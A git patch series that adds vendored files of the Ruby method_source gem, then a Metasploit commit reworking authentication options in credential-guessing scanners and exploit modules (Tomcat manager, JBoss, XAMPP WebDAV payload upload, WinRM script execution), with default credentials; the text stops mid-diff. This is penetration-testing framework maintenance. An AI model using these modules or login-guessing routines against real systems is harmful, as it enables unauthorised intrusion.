@example + # Set.instance_method(:clear).source.display + # => + # def clear + # @hash.clear + # self + # end + def source + if respond_to?(:source_location) + source = MethodSource.source_helper(source_location) + + raise "Cannot locate source for this method: #{name}" if !source + else + raise "#{self.class}#source not supported by this Ruby version (#{RUBY_VERSION})" + end + + source + end + + # Return the comments associated with the method as a string. + # (This functionality is only supported in Ruby 1.9 and above) + # @return [String] The method's comments as a string + # @example + # Set.instance_method(:clear).comment.display + # => + # # Removes all elements and returns self. + def comment + if respond_to?(:source_location) + comment = MethodSource.comment_helper(source_location) + + raise "Cannot locate source for this method: #{name}" if !comment + else + raise "#{self.class}#comment not supported by this Ruby version (#{RUBY_VERSION})" + end + + comment + end + end +end + +class Method + include MethodSource::SourceLocation::MethodExtensions + include MethodSource::MethodExtensions +end + +class UnboundMethod + include MethodSource::SourceLocation::UnboundMethodExtensions + include MethodSource::MethodExtensions +end + +class Proc + include MethodSource::SourceLocation::ProcExtensions + include MethodSource::MethodExtensions +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb new file mode 100644 index 0000000000..9161854819 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb @@ -0,0 +1,138 @@ +module MethodSource + module ReeSourceLocation + # Ruby enterprise edition provides all the information that's + # needed, in a slightly different way. + def source_location + [__file__, __line__] rescue nil + end + end + + module SourceLocation + module MethodExtensions + if Proc.method_defined? :__file__ + include ReeSourceLocation + + elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ + require 'java' + + # JRuby version source_location hack + # @return [Array] A two element array containing the source location of the method + def source_location + to_java.source_location(Thread.current.to_java.getContext()) + end + else + + + def trace_func(event, file, line, id, binding, classname) + return unless event == 'call' + set_trace_func nil + + @file, @line = file, line + raise :found + end + + private :trace_func + + # Return the source location of a method for Ruby 1.8. + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # method definition is found. + def source_location + if @file.nil? + args =[*(1..(arity<-1 ? -arity-1 : arity ))] + + set_trace_func method(:trace_func).to_proc + call(*args) rescue nil + set_trace_func nil + @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file)) + end + return [@file, @line] if File.exist?(@file.to_s) + end + end + end + + module ProcExtensions + if Proc.method_defined? :__file__ + include ReeSourceLocation + + elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ + + # Return the source location for a Proc (Rubinius only) + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # proc definition is found. + def source_location + [block.file.to_s, block.line] + end + else + + # Return the source location for a Proc (in implementations + # without Proc#source_location) + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # proc definition is found. + def source_location + self.to_s =~ /@(.*):(\d+)/ + [$1, $2.to_i] + end + end + end + + module UnboundMethodExtensions + if Proc.method_defined? :__file__ + include ReeSourceLocation + + elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ + require 'java' + + # JRuby version source_location hack + # @return [Array] A two element array containing the source location of the method + def source_location + to_java.source_location(Thread.current.to_java.getContext()) + end + + else + + + # Return the source location of an instance method for Ruby 1.8. + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # method definition is found. + def source_location + klass = case owner + when Class + owner + when Module + method_owner = owner + Class.new { include(method_owner) } + end + + # deal with immediate values + case + when klass == Symbol + return :a.method(name).source_location + when klass == Fixnum + return 0.method(name).source_location + when klass == TrueClass + return true.method(name).source_location + when klass == FalseClass + return false.method(name).source_location + when klass == NilClass + return nil.method(name).source_location + end + + begin + Object.instance_method(:method).bind(klass.allocate).call(name).source_location + rescue TypeError + + # Assume we are dealing with a Singleton Class: + # 1. Get the instance object + # 2. Forward the source_location lookup to the instance + instance ||= ObjectSpace.each_object(owner).first + Object.instance_method(:method).bind(instance).call(name).source_location + end + end + end + end + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb new file mode 100644 index 0000000000..b8142bfaef --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb @@ -0,0 +1,3 @@ +module MethodSource + VERSION = "0.7.1" +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec new file mode 100644 index 0000000000..83a727d6f6 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec @@ -0,0 +1,33 @@ +# -*- encoding: utf-8 -*- + +Gem::Specification.new do |s| + s.name = "method_source" + s.version = "0.7.0" + + s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= + s.authors = ["John Mair (banisterfiend)"] + s.date = "2012-01-01" + s.description = "retrieve the sourcecode for a method" + s.email = "jrmair@gmail.com" + s.files = [".gemtest", ".travis.yml", ".yardopts", "Gemfile", "LICENSE", "README.markdown", "Rakefile", "lib/method_source.rb", "lib/method_source/source_location.rb", "lib/method_source/version.rb", "method_source.gemspec", "test/test.rb", "test/test_helper.rb"] + s.homepage = "http://banisterfiend.wordpress.com" + s.require_paths = ["lib"] + s.rubygems_version = "1.8.10" + s.summary = "retrieve the sourcecode for a method" + s.test_files = ["test/test.rb", "test/test_helper.rb"] + + if s.respond_to? :specification_version then + s.specification_version = 3 + + if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then + s.add_development_dependency(%q, ["~> 1.1.0"]) + s.add_development_dependency(%q, ["~> 0.9"]) + else + s.add_dependency(%q, ["~> 1.1.0"]) + s.add_dependency(%q, ["~> 0.9"]) + end + else + s.add_dependency(%q, ["~> 1.1.0"]) + s.add_dependency(%q, ["~> 0.9"]) + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb new file mode 100644 index 0000000000..425e56acf9 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb @@ -0,0 +1,122 @@ +direc = File.dirname(__FILE__) + +require 'rubygems' +require 'bacon' +require "#{direc}/../lib/method_source" +require "#{direc}/test_helper" + +describe MethodSource do + + describe "source_location (testing 1.8 implementation)" do + it 'should return correct source_location for a method' do + method(:hello).source_location.first.should =~ /test_helper/ + end + + it 'should not raise for immediate instance methods' do + [Symbol, Fixnum, TrueClass, FalseClass, NilClass].each do |immediate_class| + lambda { immediate_class.instance_method(:to_s).source_location }.should.not.raise + end + end + + it 'should not raise for immediate methods' do + [:a, 1, true, false, nil].each do |immediate| + lambda { immediate.method(:to_s).source_location }.should.not.raise + end + end + end + + before do + @hello_module_source = " def hello; :hello_module; end\n" + @hello_singleton_source = "def $o.hello; :hello_singleton; end\n" + @hello_source = "def hello; :hello; end\n" + @hello_comment = "# A comment for hello\n# It spans two lines and is indented by 2 spaces\n" + @lambda_comment = "# This is a comment for MyLambda\n" + @lambda_source = "MyLambda = lambda { :lambda }\n" + @proc_source = "MyProc = Proc.new { :proc }\n" + end + + it 'should define methods on Method and UnboundMethod and Proc' do + Method.method_defined?(:source).should == true + UnboundMethod.method_defined?(:source).should == true + Proc.method_defined?(:source).should == true + end + + describe "Methods" do + it 'should return source for method' do + method(:hello).source.should == @hello_source + end + + it 'should return source for a method defined in a module' do + M.instance_method(:hello).source.should == @hello_module_source + end + + it 'should return source for a singleton method as an instance method' do + class << $o; self; end.instance_method(:hello).source.should == @hello_singleton_source + end + + it 'should return source for a singleton method' do + $o.method(:hello).source.should == @hello_singleton_source + end + + + it 'should return a comment for method' do + method(:hello).comment.should == @hello_comment + end + + + if !is_rbx? + it 'should raise for C methods' do + lambda { method(:puts).source }.should.raise RuntimeError + end + end + end + + # if RUBY_VERSION =~ /1.9/ || is_rbx? + describe "Lambdas and Procs" do + it 'should return source for proc' do + MyProc.source.should == @proc_source + end + + it 'should return an empty string if there is no comment' do + MyProc.comment.should == '' + end + + it 'should return source for lambda' do + MyLambda.source.should == @lambda_source + end + + it 'should return comment for lambda' do + MyLambda.comment.should == @lambda_comment + end + end + # end + describe "Comment tests" do + before do + @comment1 = "# a\n# b\n" + @comment2 = "# a\n# b\n" + @comment3 = "# a\n#\n# b\n" + @comment4 = "# a\n# b\n" + @comment5 = "# a\n# b\n# c\n# d\n" + end + + it "should correctly extract multi-line comments" do + method(:comment_test1).comment.should == @comment1 + end + + it "should correctly strip leading whitespace before comments" do + method(:comment_test2).comment.should == @comment2 + end + + it "should keep empty comment lines" do + method(:comment_test3).comment.should == @comment3 + end + + it "should ignore blank lines between comments" do + method(:comment_test4).comment.should == @comment4 + end + + it "should align all comments to same indent level" do + method(:comment_test5).comment.should == @comment5 + end + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb new file mode 100644 index 0000000000..53da4e519c --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb @@ -0,0 +1,50 @@ +def is_rbx? + defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ +end + +def jruby? + defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ +end + + +module M + def hello; :hello_module; end +end + +$o = Object.new +def $o.hello; :hello_singleton; end + +# A comment for hello + + # It spans two lines and is indented by 2 spaces +def hello; :hello; end + +# a +# b +def comment_test1; end + + # a + # b +def comment_test2; end + +# a +# +# b +def comment_test3; end + +# a + +# b +def comment_test4; end + + +# a + # b + # c +# d +def comment_test5; end + +# This is a comment for MyLambda +MyLambda = lambda { :lambda } +MyProc = Proc.new { :proc } + From 0ae489b37b34abe3f2fabeeb65deb83922d1c800 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 23:16:46 -0600 Subject: [PATCH 297/448] last of revert-merge snaffu --- modules/auxiliary/gather/shodan_search.rb | 4 +- .../scanner/http/cisco_device_manager.rb | 4 +- modules/auxiliary/scanner/http/http_login.rb | 186 +++--------------- .../scanner/http/tomcat_mgr_login.rb | 7 +- modules/auxiliary/scanner/winrm/winrm_cmd.rb | 4 - .../auxiliary/scanner/winrm/winrm_login.rb | 6 +- modules/auxiliary/scanner/winrm/winrm_wql.rb | 7 +- modules/auxiliary/server/http_ntlmrelay.rb | 3 +- .../linux/http/piranha_passwd_exec.rb | 6 +- modules/exploits/multi/http/axis2_deployer.rb | 4 +- .../exploits/multi/http/jboss_bshdeployer.rb | 3 - .../exploits/multi/http/jboss_maindeployer.rb | 3 - .../exploits/multi/http/tomcat_mgr_deploy.rb | 14 +- .../unix/webapp/oracle_vm_agent_utl.rb | 3 - modules/exploits/windows/http/easyftp_list.rb | 4 +- .../windows/http/xampp_webdav_upload_php.rb | 10 +- .../windows/winrm/winrm_script_exec.rb | 23 +-- 17 files changed, 52 insertions(+), 239 deletions(-) diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index 8b114dbdd8..218427cc1f 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -38,10 +38,10 @@ class Metasploit4 < Msf::Auxiliary )) # disabling all the unnecessary options that someone might set to break our query - deregister_options('RPORT','RHOST', 'BasicAuthPass', 'BasicAuthUser', 'DOMAIN', + deregister_options('RPORT','RHOST', 'DOMAIN', 'DigestAuthIIS', 'SSLVersion', 'NTLM::SendLM', 'NTLM::SendNTLM', 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', - 'NTLM::UseNTLMv2', 'DigestAuthPassword', 'DigestAuthUser', 'SSL') + 'NTLM::UseNTLMv2','SSL') register_options( [ diff --git a/modules/auxiliary/scanner/http/cisco_device_manager.rb b/modules/auxiliary/scanner/http/cisco_device_manager.rb index fd57fda9bb..9486262be7 100644 --- a/modules/auxiliary/scanner/http/cisco_device_manager.rb +++ b/modules/auxiliary/scanner/http/cisco_device_manager.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Cisco Device HTTP Device Manager Access', 'Description' => %q{ This module gathers data from a Cisco device (router or switch) with the device manager - web interface exposed. The BasicAuthUser and BasicAuthPass options can be used to specify + web interface exposed. The USERNAME and PASSWORD options can be used to specify authentication. }, 'Author' => [ 'hdm' ], @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{rhost}:#{rport} Successfully authenticated to this device") # Report a vulnerability only if no password was specified - if datastore['BasicAuthPass'].to_s.length == 0 + if datastore['PASSWORD'].to_s.length == 0 report_vuln( { diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 5a6b0ab9a6..4324e312f2 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -48,9 +48,8 @@ class Metasploit3 < Msf::Auxiliary register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ]) end - def find_auth_uri_and_scheme + def find_auth_uri - path_and_scheme = [] if datastore['AUTH_URI'] and datastore['AUTH_URI'].length > 0 paths = [datastore['AUTH_URI']] else @@ -80,21 +79,10 @@ class Metasploit3 < Msf::Auxiliary next if not res end - next if not res.code == 401 - next if not res.headers['WWW-Authenticate'] - path_and_scheme << path - case res.headers['WWW-Authenticate'] - when /Basic/i - path_and_scheme << "Basic" - when /NTLM/i - path_and_scheme << "NTLM" - when /Digest/i - path_and_scheme << "Digest" - end - return path_and_scheme + return path end - return path_and_scheme + return path end def target_url @@ -111,7 +99,7 @@ class Metasploit3 < Msf::Auxiliary print_error("You need need to set AUTH_URI when using PUT Method !") return end - @uri, @scheme = find_auth_uri_and_scheme() + @uri = find_auth_uri if ! @uri print_error("#{target_url} No URI found that asks for HTTP authentication") return @@ -119,12 +107,7 @@ class Metasploit3 < Msf::Auxiliary @uri = "/#{@uri}" if @uri[0,1] != "/" - if ! @scheme - print_error("#{target_url} Incompatible authentication scheme") - return - end - - print_status("Attempting to login to #{target_url} with #{@scheme} authentication") + print_status("Attempting to login to #{target_url}") each_user_pass { |user, pass| do_login(user, pass) @@ -133,27 +116,21 @@ class Metasploit3 < Msf::Auxiliary def do_login(user='admin', pass='admin') vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") - success = false - proof = "" - - ret = do_http_login(user,pass,@scheme) - return :abort if ret == :abort - if ret == :success - proof = @proof.dup - success = true - end - - if success + + response = do_http_login(user,pass) + result = determine_result(response) + + if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") any_user = false any_pass = false vprint_status("#{target_url} - Trying random username with password:'#{pass}'") - any_user = do_http_login(Rex::Text.rand_text_alpha(8), pass, @scheme) + any_user = determine_result(do_http_login(Rex::Text.rand_text_alpha(8), pass)) vprint_status("#{target_url} - Trying username:'#{user}' with random password") - any_pass = do_http_login(user, Rex::Text.rand_text_alpha(8), @scheme) + any_pass = determine_result(do_http_login(user, Rex::Text.rand_text_alpha(8))) if any_user == :success user = "anyuser" @@ -175,7 +152,7 @@ class Metasploit3 < Msf::Auxiliary :sname => (ssl ? 'https' : 'http'), :user => user, :pass => pass, - :proof => "WEBAPP=\"Generic\", PROOF=#{proof}", + :proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}", :source_type => "user_supplied", :active => true ) @@ -188,142 +165,25 @@ class Metasploit3 < Msf::Auxiliary end end - def do_http_login(user,pass,scheme) - case scheme - when /NTLM/i - do_http_auth_ntlm(user,pass) - when /Digest/i - do_http_auth_digest(user,pass,datastore['REQUESTTYPE']) - when /Basic/i - do_http_auth_basic(user,pass) - else - vprint_error("#{target_url}: Unknown authentication scheme") - return :abort - end - end - - def do_http_auth_ntlm(user,pass) + def do_http_login(user,pass) begin - resp,c = send_http_auth_ntlm( + response = send_request_cgi({ 'uri' => @uri, + 'method' => datastore['REQUESTTYPE'], 'username' => user, 'password' => pass - ) - c.close - return :abort if (resp.code == 404) - - if [200, 301, 302].include?(resp.code) - @proof = resp - return :success - end - + }) + return response rescue ::Rex::ConnectionError vprint_error("#{target_url} - Failed to connect to the web server") - return :abort + return nil end - - return :fail end - def do_http_auth_basic(user,pass) - user_pass = Rex::Text.encode_base64(user + ":" + pass) - - begin - res = send_request_cgi({ - 'uri' => @uri, - 'method' => 'GET', - 'headers' => - { - 'Authorization' => "Basic #{user_pass}", - } - }, 25) - - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{target_url} not responding") - return :abort - end - - return :abort if (res.code == 404) - - if [200, 301, 302].include?(res.code) - @proof = res - return :success - end - - rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") - return :abort - end - - return :fail - end - - def do_http_auth_digest(user,pass,requesttype) - path = datastore['AUTH_URI'] || "/" - begin - if requesttype == "PUT" - res,c = send_digest_request_cgi({ - 'uri' => path, - 'method' => requesttype, - 'data' => 'Test123\r\n', - #'DigestAuthIIS' => false, - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass - }, 25) - elsif requesttype == "PROPFIND" - res,c = send_digest_request_cgi({ - 'uri' => path, - 'method' => requesttype, - 'data' => '', - #'DigestAuthIIS' => false, - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass, - 'headers' => { 'Depth' => '0'} - }, 25) - else - res,c = send_digest_request_cgi({ - 'uri' => path, - 'method' => requesttype, - #'DigestAuthIIS' => false, - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass - }, 25) - end - - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{target_url} not responding") - return :abort - end - - return :abort if (res.code == 404) - - if ( [200, 301, 302].include?(res.code) ) or (res.code == 201) - if ((res.code == 201) and (requesttype == "PUT")) - print_good("Trying to delete #{path}") - del_res,c = send_digest_request_cgi({ - 'uri' => path, - 'method' => 'DELETE', - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass - }, 25) - if not (del_res.code == 204) - print_error("#{path} could be created, but not deleted again. This may have been noisy ...") - end - end - @proof = res - return :success - end - - if (res.code == 207) and (requesttype == "PROPFIND") - @proof = res - return :success - end - - rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") - return :abort - end - + def determine_result(response) + return :abort unless response.kind_of? Rex::Proto::Http::Response + return :abort unless response.code + return :success if [200, 301, 302].include?(response.code) return :fail end diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 65ab691e66..a3581d16b0 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -101,16 +101,13 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' with password:'#{pass}'") success = false srvhdr = '?' - user_pass = Rex::Text.encode_base64(user + ":" + pass) uri = normalize_uri(datastore['URI']) begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', - 'headers' => - { - 'Authorization' => "Basic #{user_pass}", - } + 'username' => user, + 'password' => pass }, 25) unless (res.kind_of? Rex::Proto::Http::Response) vprint_error("http://#{rhost}:#{rport}#{uri} not responding") diff --git a/modules/auxiliary/scanner/winrm/winrm_cmd.rb b/modules/auxiliary/scanner/winrm/winrm_cmd.rb index 12f0c70422..88e9e717d6 100644 --- a/modules/auxiliary/scanner/winrm/winrm_cmd.rb +++ b/modules/auxiliary/scanner/winrm/winrm_cmd.rb @@ -40,10 +40,6 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - unless accepts_ntlm_auth - print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" - return - end streams = winrm_run_cmd(datastore['CMD']) return unless streams.class == Hash print_error streams['stderr'] unless streams['stderr'] == '' diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index d8012fb723..946903113e 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -39,12 +39,8 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - unless accepts_ntlm_auth - print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" - return - end each_user_pass do |user, pass| - resp,c = send_request_ntlm(test_request) + resp = send_winrm_request(test_request) if resp.nil? print_error "#{ip}:#{rport}: Got no reply from the server, connection may have timed out" return diff --git a/modules/auxiliary/scanner/winrm/winrm_wql.rb b/modules/auxiliary/scanner/winrm/winrm_wql.rb index ed09cfd583..0c5eeb6274 100644 --- a/modules/auxiliary/scanner/winrm/winrm_wql.rb +++ b/modules/auxiliary/scanner/winrm/winrm_wql.rb @@ -42,12 +42,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - unless accepts_ntlm_auth - print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" - return - end - - resp,c = send_request_ntlm(winrm_wql_msg(datastore['WQL'])) + resp = send_winrm_request(winrm_wql_msg(datastore['WQL'])) if resp.nil? print_error "Got no reply from the server" return diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index fda08e41c4..080803918b 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -84,8 +84,7 @@ class Metasploit3 < Msf::Auxiliary 'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol']) ], self.class) - deregister_options('BasicAuthPass', 'BasicAuthUser', 'DOMAIN', 'DigestAuthPassword', - 'DigestAuthUser', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey', + deregister_options('DOMAIN', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2') end diff --git a/modules/exploits/linux/http/piranha_passwd_exec.rb b/modules/exploits/linux/http/piranha_passwd_exec.rb index d87027cadb..85ff71eca8 100644 --- a/modules/exploits/linux/http/piranha_passwd_exec.rb +++ b/modules/exploits/linux/http/piranha_passwd_exec.rb @@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'piranha']), - OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'q']), + OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'piranha']), + OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'q']) ], self.class) end @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote end if res.code == 401 - print_error("401 Authorization Required! Our BasicAuthUser and BasicAuthPass credentials not accepted!") + print_error("401 Authorization Required! Our Credentials not accepted!") elsif (res.code == 200 and res.body =~ /The passwords you supplied match/) print_status("Command successfully executed (according to the server).") end diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index 565d73a293..9f030bbbc2 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -227,9 +227,7 @@ class Metasploit3 < Msf::Exploit::Remote authmsg = res.headers['WWW-Authenticate'] end print_error("The remote server responded expecting authentication") - if datastore['BasicAuthUser'] and datastore['BasicAuthPass'] - print_error("BasicAuthUser \"%s\" failed to authenticate" % datastore['BasicAuthUser']) - elsif authmsg + if authmsg print_error("WWW-Authenticate: %s" % authmsg) end cleanup_instructions(rpath, name) # display cleanup info diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index 07d5eb2ada..f350fe4984 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -96,9 +96,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 7c36c1fa16..2297b52569 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -123,9 +123,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index a46cd2c033..2757cb6e13 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -112,9 +112,6 @@ class Metasploit3 < Msf::Exploit::Remote end def check - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - res = query_serverinfo disconnect return CheckCode::Unknown if res.nil? @@ -127,8 +124,8 @@ class Metasploit3 < Msf::Exploit::Remote :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), - :user => datastore['BasicAuthUser'], - :pass => datastore['BasicAuthPass'], + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) @@ -164,9 +161,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target @@ -221,8 +215,8 @@ class Metasploit3 < Msf::Exploit::Remote :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), - :user => datastore['BasicAuthUser'], - :pass => datastore['BasicAuthPass'], + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb index 9865c8716b..3bfd6c668e 100644 --- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb +++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb @@ -67,9 +67,6 @@ class Metasploit3 < Msf::Exploit::Remote end def go(command) - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - xml = <<-EOS diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb index 3484cdf86f..e162cd74f6 100644 --- a/modules/exploits/windows/http/easyftp_list.rb +++ b/modules/exploits/windows/http/easyftp_list.rb @@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), - OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']), + OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), + OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']) ], self.class) end diff --git a/modules/exploits/windows/http/xampp_webdav_upload_php.rb b/modules/exploits/windows/http/xampp_webdav_upload_php.rb index c19096b2c8..f5b21a0499 100644 --- a/modules/exploits/windows/http/xampp_webdav_upload_php.rb +++ b/modules/exploits/windows/http/xampp_webdav_upload_php.rb @@ -36,8 +36,8 @@ class Metasploit3 < Msf::Exploit::Remote [ OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']), OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]), - OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']), - OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp']) + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp']) ], self.class) end @@ -46,12 +46,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit uri = build_path print_status "Uploading Payload to #{uri}" - res,c = send_digest_request_cgi({ + res = send_request_cgi({ 'uri' => uri, 'method' => 'PUT', 'data' => payload.raw, - 'DigestAuthUser' => datastore['RUSER'], - 'DigestAuthPassword' => datastore['RPASS'] + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] }, 25) unless (res and res.code == 201) print_error "Failed to upload file!" diff --git a/modules/exploits/windows/winrm/winrm_script_exec.rb b/modules/exploits/windows/winrm/winrm_script_exec.rb index 666ca66d3d..c53314f136 100644 --- a/modules/exploits/windows/winrm/winrm_script_exec.rb +++ b/modules/exploits/windows/winrm/winrm_script_exec.rb @@ -66,20 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote @compat_mode = false end - def check - unless accepts_ntlm_auth - print_error "The Remote WinRM server does not appear to allow Negotiate (NTLM) auth" - return Msf::Exploit::CheckCode::Safe - end - - return 